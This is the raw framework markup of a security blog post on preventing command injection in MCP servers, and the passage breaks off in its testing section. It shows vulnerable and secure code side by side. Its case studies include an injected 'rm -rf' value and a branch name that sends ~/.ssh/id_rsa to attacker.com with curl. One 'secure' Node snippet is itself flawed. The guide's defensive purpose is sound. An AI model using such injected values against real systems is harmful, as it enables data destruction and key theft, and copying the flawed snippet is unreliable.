found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]]}]]}],{\"children\":[\"blog\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"command-injection\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"div\",null,{\"className\":\"min-h-screen bg-black text-gray-300 font-mono antialiased\",\"style\":{\"backgroundImage\":\"linear-gradient(rgba(0, 0, 0, 0.97), rgba(0, 0, 0, 0.97)), url(\\\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' viewBox='0 0 40 40'%3E%3Cg fill-rule='evenodd'%3E%3Cg fill='%2300ff99' fill-opacity='0.05'%3E%3Cpath d='M0 38.59l2.83-2.83 1.41 1.41L1.41 40H0v-1.41zM0 20.83l2.83-2.83 1.41 1.41L1.41 22.24H0v-1.41zM0 3.07l2.83-2.83 1.41 1.41L1.41 4.48H0V3.07zM17.76 40l2.83-2.83 1.41 1.41L19.17 40h-1.41zM35.52 40l2.83-2.83 1.41 1.41L36.93 40h-1.41zM20.83 18.17l2.83-2.83 1.41 1.41-2.83 2.83-1.41-1.41zM3.07 0l2.83 2.83-1.41 1.41L1.66 1.41 3.07 0zm17.76 0l2.83 2.83-1.41 1.41-2.83-2.83L20.83 0zM38.59 
1190l1.41 1.41-2.83 2.83-1.41-1.41L38.59 0zM20.83 35.52l2.83 2.83-1.41 1.41-2.83-2.83 1.41-1.41zM3.07 17.76l2.83 2.83-1.41 1.41-2.83-2.83 1.41-1.41zM38.59 17.76l1.41 1.41-2.83 2.83-1.41-1.41 2.83-2.83z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E\\\")\"},\"children\":[[\"$\",\"header\",null,{\"className\":\"border-b border-green-500/20\",\"children\":[\"$\",\"div\",null,{\"className\":\"container mx-auto px-6 py-4\",\"children\":[\"$\",\"div\",null,{\"className\":\"flex justify-between items-center\",\"children\":[[\"$\",\"$L4\",null,{\"href\":\"/\",\"className\":\"text-xl font-bold text-white no-underline\",\"children\":[\"mcpscan\",[\"$\",\"span\",null,{\"className\":\"text-green-400\",\"children\":\".ai\"}]]}],[\"$\",\"nav\",null,{\"children\":[\"$\",\"ul\",null,{\"className\":\"flex space-x-6\",\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"$L4\",null,{\"href\":\"/#scan-input-section\",\"className\":\"text-gray-400 hover:text-white no-underline\",\"children\":\"Scan\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"$L4\",null,{\"href\":\"/#understanding-section\",\"className\":\"text-gray-400 hover:text-white no-underline\",\"children\":\"Learn\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"$L4\",null,{\"href\":\"/\",\"className\":\"text-green-400 hover:text-green-300 no-underline\",\"children\":\"Blog\"}]}]]}]}]]}]}]}],[\"$\",\"main\",null,{\"className\":\"container mx-auto px-6 py-12\",\"children\":[\"$\",\"div\",null,{\"className\":\"max-w-3xl mx-auto\",\"children\":[[\"$\",\"div\",null,{\"className\":\"mb-10 text-center\",\"children\":[[\"$\",\"div\",null,{\"className\":\"inline-block px-3 py-1 bg-green-500/10 border border-green-500/30 rounded-md text-green-400 text-sm mb-4\",\"children\":\"SECURITY FOCUS\"}],[\"$\",\"h1\",null,{\"className\":\"text-3xl md:text-4xl font-bold mb-6 text-white\",\"children\":\"Preventing Command Injection in MCP Servers\"}],[\"$\",\"div\",null,{\"className\":\"flex justify-center items-center text-gray-400 text-sm\",\"children\":[[\"$\",\"span\",null,{\"children\":\"April 14, 2025\"}],[\"$\",\"span\",null,{\"className\":\"mx-2\",\"children\":\"•\"}],[\"$\",\"span\",null,{\"children\":\"10 min read\"}],[\"$\",\"span\",null,{\"className\":\"mx-2\",\"children\":\"•\"}],[\"$\",\"span\",null,{\"children\":\"By Security Research Team\"}]]}]]}],[\"$\",\"div\",null,{\"className\":\"prose prose-invert prose-green max-w-none\",\"children\":[[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-4 mb-6 bg-gray-900/60 p-5 rounded-lg border border-green-500/20\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-1\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-6 h-6\",\"children\":[[\"$\",\"path\",null,{\"d\":\"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}],[\"$\",\"path\",null,{\"d\":\"M12 8v4M12 16h.01\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]]}]}],[\"$\",\"div\",null,{\"children\":[[\"$\",\"h3\",null,{\"className\":\"text-lg font-semibold text-white mt-0\",\"children\":\"Executive Summary\"}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":\"Command injection remains one of the most critical vulnerabilities in MCP server implementations, especially those that execute system commands as part of their functionality. Our scan of 50+ public MCP servers revealed that 23% contained some form of command injection vulnerability, primarily due to improper string concatenation when building shell commands.\"}]]}]]}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Understanding Command Injection in MCP Servers\"}],[\"$\",\"p\",null,{\"children\":\"Command injection vulnerabilities occur when user-controlled input is incorporated into a system command without proper sanitization or validation. In the context of Model Context Protocol (MCP) servers, this vulnerability takes on a unique dimension due to the interaction between large language models (LLMs) and external tools.\"}],[\"$\",\"p\",null,{\"children\":\"MCP servers often expose functionality that executes commands on the host system - from simple file operations to complex data processing tasks. When these operations involve string concatenation to build shell commands using data from tool parameters, they create a potential attack vector.\"}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/60 p-5 rounded-lg border border-yellow-500/20 my-6\",\"children\":[[\"$\",\"div\",null,{\"className\":\"flex items-center mb-3\",\"children\":[[\"$\",\"span\",null,{\"className\":\"text-yellow-400 mr-2\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[[\"$\",\"path\",null,{\"d\":\"M12 9v3.75m-9.303 3.376c-.866 1.5.217 3.374 1.948 3.374h14.71c1.73 0 2.813-1.874 1.948-3.374L13.949 3.378c-.866-1.5-3.032-1.5-3.898 0L2.697 16.126z\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}],[\"$\",\"path\",null,{\"d\":\"M12 15.75h.007v.008H12v-.008z\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]]}]}],[\"$\",\"h4\",null,{\"className\":\"text-lg font-semibold text-white mt-0\",\"children\":\"The Unique Risk in MCP\"}]]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":\"The command injection risk in MCP is amplified compared to traditional web applications because:\"}],[\"$\",\"ul\",null,{\"className\":\"list-disc pl-6 text-gray-300 mt-2\",\"children\":[[\"$\",\"li\",null,{\"children\":\"MCP servers trust LLMs to properly validate inputs, but LLMs may not understand security implications.\"}],[\"$\",\"li\",null,{\"children\":\"Users review tool calls but may 
119not recognize subtle injection patterns.\"}],[\"$\",\"li\",null,{\"children\":\"Tool descriptions don't highlight security boundaries or risks.\"}],[\"$\",\"li\",null,{\"children\":\"MCP servers typically run with the permissions of the user who launched them, which may be extensive.\"}]]}]]}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Vulnerable Patterns We Found\"}],[\"$\",\"p\",null,{\"children\":\"Our extensive scanning of public MCP servers revealed several common vulnerable patterns. Here are the most prevalent ones:\"}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mt-6 mb-3\",\"children\":\"1. Direct String Concatenation\"}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-6\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-red-400 font-mono mb-2 text-sm\",\"children\":\"❌ VULNERABLE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python Example\\nuser_input = tool_input[\\\"filename\\\"]\\ncmd = \\\"convert \\\" + user_input + \\\" output.png\\\"\\nos.system(cmd)  // VULNERABLE\\n\\n// Node.js Example\\nconst userInput = toolInput.query;\\nconst cmd = `grep ${userInput} data.txt`;\\nexec(cmd, (error, stdout) =\u003e {\\n  return stdout;\\n});\"}]}]]}],[\"$\",\"div\",null,{\"className\":\"bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-green-400 font-mono mb-2 text-sm\",\"children\":\"✅ SECURE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python Example\\nuser_input = tool_input[\\\"filename\\\"]\\nsubprocess.run([\\\"convert\\\", user_input, \\n                \\\"output.png\\\"], check=True)\\n\\n// Node.js Example\\nconst userInput = toolInput.query;\\nexec(\\\"grep\\\", [userInput, \\\"data.txt\\\"], \\n     (error, stdout) =\u003e {\\n  return stdout;\\n});\"}]}]]}]]}],[\"$\",\"p\",null,{\"children\":\"This is the most common vulnerability we found, present in 67% of vulnerable MCP servers. The issue: using string concatenation or template literals to construct command strings passed to shell interpreters.\"}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mt-8 mb-3\",\"children\":\"2. Shell Mode in Subprocess Functions\"}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-6\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-red-400 font-mono mb-2 text-sm\",\"children\":\"❌ VULNERABLE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python subprocess with shell=True\\nuser_input = tool_input[\\\"query\\\"]\\nsubprocess.run(f\\\"grep {user_input} logs.txt\\\",\\n              shell=True)  // VULNERABLE\\n\\n// Node.js exec with shell\\nconst userInput = toolInput.term;\\nchildProcess.execSync(\\n  `find . -name \\\"${userInput}\\\"`, \\n  {shell: true}\\n);\"}]}]]}],[\"$\",\"div\",null,{\"className\":\"bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-green-400 font-mono mb-2 text-sm\",\"children\":\"✅ SECURE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python subprocess without shell\\nuser_input = tool_input[\\\"query\\\"]\\nsubprocess.run([\\\"grep\\\", user_input, \\n               \\\"logs.txt\\\"])\\n\\n// Node.js exec without shell\\nconst userInput = toolInput.term;\\nchildProcess.execFileSync(\\\"find\\\", \\n  [\\\".\\\", \\\"-name\\\", userInput]\\n);\"}]}]]}]]}],[\"$\",\"p\",null,{\"children\":[\"We found that 29% of vulnerable servers were using subprocess functions with shell mode enabled. This is particularly problematic as it interprets special shell characters like \",[\"$\",\"code\",null,{\"children\":\";\"}],\", \",[\"$\",\"code\",null,{\"children\":\"|\"}],\", \",[\"$\",\"code\",null,{\"children\":\"\u0026\"}],\", and \",[\"$\",\"code\",null,{\"children\":\"$$()\"}],\".\"]}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mt-8 mb-3\",\"children\":\"3. Insufficient Sanitization\"}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-6\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-red-400 font-mono mb-2 text-sm\",\"children\":\"❌ VULNERABLE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python with insufficient sanitization\\nuser_input = tool_input[\\\"command\\\"]\\nuser_input = user_input.replace(\\\";\\\", \\\"\\\")\\n// Only removes first semicolon\\nos.system(\\\"process \\\" + user_input)\\n\\n// Node.js with regex but missing characters\\nconst userInput = toolInput.cmd;\\nuserInput = userInput.replace(/[;\u0026|]/g, \\\"\\\");\\n// Missing backticks, $(), etc.\\nexec(`analyze ${userInput}`);\"}]}]]}],[\"$\",\"div\",null,{\"className\":\"bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-green-400 font-mono mb-2 text-sm\",\"children\":\"✅ SECURE\"}],[\"$\",\"pre\",null,{\"className\":\"overflow-x-auto text-gray-300 text-sm\",\"children\":[\"$\",\"code\",null,{\"children\":\"// Python with proper parameter passing\\nuser_input = tool_input[\\\"command\\\"]\\n// No sanitization needed when using arrays\\nsubprocess.run([\\\"process\\\", user_input])\\n\\n// Node.js with strict allowlist\\nconst userInput = toolInput.cmd;\\nif (!/^[a-zA-Z0-9_\\\\-\\\\.]+$/.test(userInput)) {\\n  throw new Error(\\\"Invalid characters\\\");\\n}\\nexec(`analyze ${userInput}`);\"}]}]]}]]}],[\"$\",\"p\",null,{\"children\":\"A troubling 18% of vulnerable servers attempted sanitization but did it incorrectly - often by only removing specific characters once, not accounting for all shell metacharacters, or using incorrect replacement patterns.\"}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Real-World Vulnerability Examples\"}],[\"$\",\"p\",null,{\"children\":\"During our scanning process, we identified several real-world examples of command injection vulnerabilities in MCP servers. Here are two case studies (with sensitive details anonymized):\"}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/60 p-5 rounded-lg border border-red-500/20 my-6\",\"children\":[[\"$\",\"h4\",null,{\"className\":\"text-lg font-semibold text-white\",\"children\":\"Case Study 1: Media Processing MCP Server\"}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":[\"A media processing MCP server offered tools for image conversion, video processing, and audio extraction. The \",[\"$\",\"code\",null,{\"children\":\"convert_image\"}],\" tool allowed specifying an input format and output format. The vulnerable implementation:\"]}],[\"$\",\"pre\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3\",\"children\":[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"def convert_image(input_file, output_format):\\n    // User-controlled output_format injected into command\\n    cmd = f\\\"convert {input_file} {output_format}\\\"\\n    os.system(cmd)\\n    return {\\\"status\\\": \\\"success\\\"}\"}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":[\"This implementation allowed an attacker to inject commands through the output_format parameter. For example, providing \",[\"$\",\"code\",null,{\"children\":\"output.png; rm -rf /important\"}],\" would delete files after the conversion.\"]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Fix:\"}],\" The implementation was updated to use subprocess with argument arrays and validate the output format against an allowlist.\"]}]]}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/60 p-5 rounded-lg border border-red-500/20 my-6\",\"children\":[[\"$\",\"h4\",null,{\"className\":\"text-lg font-semibold text-white\",\"children\":\"Case Study 2: Development Utilities MCP Server\"}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":\"A developer-focused MCP server provided tools like code linting, formatting, and testing. One tool allowed developers to run Git operations:\"}],[\"$\",\"pre\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3\",\"children\":[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"async function gitOperation(repo, operation, branch) {\\n    // User-controlled branch parameter injected into command\\n    const cmd = `git -C ${repo} ${operation} origin/${branch}`;\\n    return await execPromise(cmd);\\n}\"}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":[\"An attacker could exploit this by providing a branch name like \",[\"$\",\"code\",null,{\"children\":\"main \u0026\u0026 curl -X POST --data \\\"$(cat ~/.ssh/id_rsa)\\\" https://attacker.com\"}],\", which would execute the Git command and then exfiltrate SSH private keys.\"]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Fix:\"}],\" The implementation was updated to use execFile with an array of arguments and implement strict validation on repository, operation, and branch parameters.\"]}]]}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Comprehensive Prevention Guide\"}],[\"$\",\"div\",null,{\"className\":\"my-6\",\"children\":[[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mb-4\",\"children\":\"1. Never Use String Concatenation for Commands\"}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Use array-based command execution\"}],\" - All major programming languages provide mechanisms to execute commands with arguments passed as arrays or lists, preventing shell interpretation of special characters:\"]}]]}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-gray-400 font-mono mb-1\",\"children\":\"Python:\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"subprocess.run([\\\"command\\\", \\\"arg1\\\", \\\"arg2\\\"])\"}]]}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-gray-400 font-mono mb-1\",\"children\":\"Node.js:\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"child_process.execFile(\\\"command\\\", [\\\"arg1\\\", \\\"arg2\\\"])\"}]]}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-gray-400 font-mono mb-1\",\"children\":\"Go:\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"exec.Command(\\\"command\\\", \\\"arg1\\\", \\\"arg2\\\")\"}]]}],[\"$\",\"div\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-gray-400 font-mono mb-1\",\"children\":\"Ruby:\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"system(\\\"command\\\", \\\"arg1\\\", \\\"arg2\\\")\"}]]}]]}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mb-4 mt-8\",\"children\":\"2. Implement Proper Input Validation\"}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Use allowlists instead of denylists\"}],\" - Define what patterns are acceptable rather than trying to block malicious patterns:\"]}]]}],[\"$\",\"pre\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3 ml-8\",\"children\":[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"// JavaScript example\\nfunction validateFilename(filename) {\\n  // Only allow alphanumeric, underscore, dash, and extension\\n  const validPattern = /^[a-zA-Z0-9_-]+\\\\.[a-zA-Z0-9]+$/;\\n  if (!validPattern.test(filename)) {\\n    throw new Error(\\\"Invalid filename format\\\");\\n  }\\n  return filename;\\n}\"}]}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mt-6 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Validate against expected type and range\"}],\" - Ensure inputs match the expected data type and constraints:\"]}]]}],[\"$\",\"pre\",null,{\"className\":\"bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3 ml-8\",\"children\":[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"// Python example\\ndef validate_integer_range(value, min_val, max_val):\\n    try:\\n        num = int(value)\\n        if min_val \u
119003c= num \u003c= max_val:\\n            return num\\n        else:\\n            raise ValueError(f\\\"Value must be between {min_val} and {max_val}\\\")\\n    except ValueError:\\n        raise ValueError(\\\"Value must be an integer\\\")\"}]}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mb-4 mt-8\",\"children\":\"3. Use Built-in Libraries Instead of Shell Commands\"}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Replace shell commands with library functions\"}],\" - Most operations can be performed using built-in libraries:\"]}]]}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-red-950/30 p-3 rounded mb-3 text-sm overflow-x-auto border-l-2 border-red-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-red-400 font-mono mb-1\",\"children\":\"❌ VULNERABLE\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"// Instead of:\\nos.system(f\\\"mkdir -p {directory}\\\")\\n\\n// Or:\\nexec(`cat ${filename}`, (err, output) =\u003e {\\n  return output;\\n});\"}]]}],[\"$\",\"div\",null,{\"className\":\"bg-green-950/30 p-3 rounded text-sm overflow-x-auto border-l-2 border-green-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-green-400 font-mono mb-1\",\"children\":\"✅ SECURE\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"// Use:\\nos.makedirs(directory, exist_ok=True)\\n\\n// And:\\nfs.readFile(filename, 'utf8', (err, data) =\u003e {\\n  return data;\\n});\"}]]}]]}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mb-4 mt-8\",\"children\":\"4. Apply the Principle of Least Privilege\"}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Run your MCP server with minimal permissions\"}],\" - Configure the server to run with only the permissions it needs:\"]}]]}],[\"$\",\"ul\",null,{\"className\":\"list-disc pl-12 text-gray-300\",\"children\":[[\"$\",\"li\",null,{\"children\":\"Use dedicated service accounts with restricted permissions\"}],[\"$\",\"li\",null,{\"children\":\"Apply filesystem permissions to limit access to sensitive files\"}],[\"$\",\"li\",null,{\"children\":\"Use containerization technologies like Docker with appropriate security constraints\"}],[\"$\",\"li\",null,{\"children\":\"Consider using system capabilities (on Linux) to grant specific privileges without full root access\"}]]}],[\"$\",\"h3\",null,{\"className\":\"text-xl font-semibold text-white mb-4 mt-8\",\"children\":\"5. Implement Proper Error Handling\"}],[\"$\",\"div\",null,{\"className\":\"flex items-start space-x-3 mb-3\",\"children\":[[\"$\",\"div\",null,{\"className\":\"text-green-400 mt-0.5\",\"children\":[\"$\",\"svg\",null,{\"xmlns\":\"http://www.w3.org/2000/svg\",\"fill\":\"none\",\"viewBox\":\"0 0 24 24\",\"strokeWidth\":1.5,\"stroke\":\"currentColor\",\"className\":\"w-5 h-5\",\"children\":[\"$\",\"path\",null,{\"d\":\"M5 13l4 4L19 7\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"}]}]}],[\"$\",\"p\",null,{\"className\":\"text-gray-300 my-0\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Don't reveal sensitive information in error messages\"}],\" - Ensure that error messages don't expose system details or command outputs that might help attackers:\"]}]]}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8\",\"children\":[[\"$\",\"div\",null,{\"className\":\"bg-red-950/30 p-3 rounded mb-3 text-sm overflow-x-auto border-l-2 border-red-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-red-400 font-mono mb-1\",\"children\":\"❌ VULNERABLE\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"try:\\n    result = subprocess.run(cmd, shell=True, \\n                           check=True, \\n                           capture_output=True)\\nexcept subprocess.CalledProcessError as e:\\n    return {\\\"error\\\": str(e.stderr)}  // Leaks details\"}]]}],[\"$\",\"div\",null,{\"className\":\"bg-green-950/30 p-3 rounded text-sm overflow-x-auto border-l-2 border-green-500/70\",\"children\":[[\"$\",\"p\",null,{\"className\":\"text-green-400 font-mono mb-1\",\"children\":\"✅ SECURE\"}],[\"$\",\"code\",null,{\"className\":\"text-gray-300\",\"children\":\"try:\\n    result = subprocess.run(cmd_args, \\n                           check=True, \\n                           capture_output=True)\\nexcept subprocess.CalledProcessError:\\n    logging.error(\\\"Command failed\\\", exc_info=True)\\n    return {\\\"error\\\": \\\"Operation failed\\\"}\"}]]}]]}]]}],[\"$\",\"h2\",null,{\"className\":\"text-2xl font-bold text-white mt-10 mb-4\",\"children\":\"Testing for Command Injection\"}],[\"$\",\"p\",null,{\"children\":\"Testing is crucial for identifying command injection vulnerabilities before they reach production. We recommend implementing these testing practices:\"}],[\"$\",\"ol\",null,{\"className\":\"list-decimal pl-6 text-gray-300\",\"children\":[[\"$\",\"li\",null,{\"className\":\"mb-3\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Code Review\"}],\" - Establish mandatory code reviews focusing on how commands are constructed and executed.\"]}],[\"$\",\"li\",null,{\"className\":\"mb-3\",\"children\":[[\"$\",\"strong\",null,{\"children\":\"Static Analysis\"}],\" - Use static analysis tools configured to detect command injection patterns. Configure tools like Semgrep, Co
